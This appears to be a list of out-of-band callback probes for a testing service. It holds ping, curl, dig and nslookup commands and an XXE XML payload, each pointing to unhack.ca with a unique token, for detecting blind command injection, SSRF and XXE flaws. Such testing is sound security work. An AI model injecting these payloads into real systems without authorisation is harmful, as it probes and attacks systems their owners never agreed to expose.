$ ping -c1 -p 00e59ff4703be9a62cc2cb78d3ac3700 unhack.ca
$ curl http://unhack.ca/p/e59ff4703be9a62cc2cb78d3ac37
$ dig e59ff4703be9a62cc2cb78d3ac37 @unhack.ca
$ dig e59ff4703be9a62cc2cb78d3ac37.ns.unhack.ca
C:\> nslookup e59ff4703be9a62cc2cb78d3ac37 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/e59ff4703be9a62cc2cb78d3ac37">]> <foo>&xxe;</foo>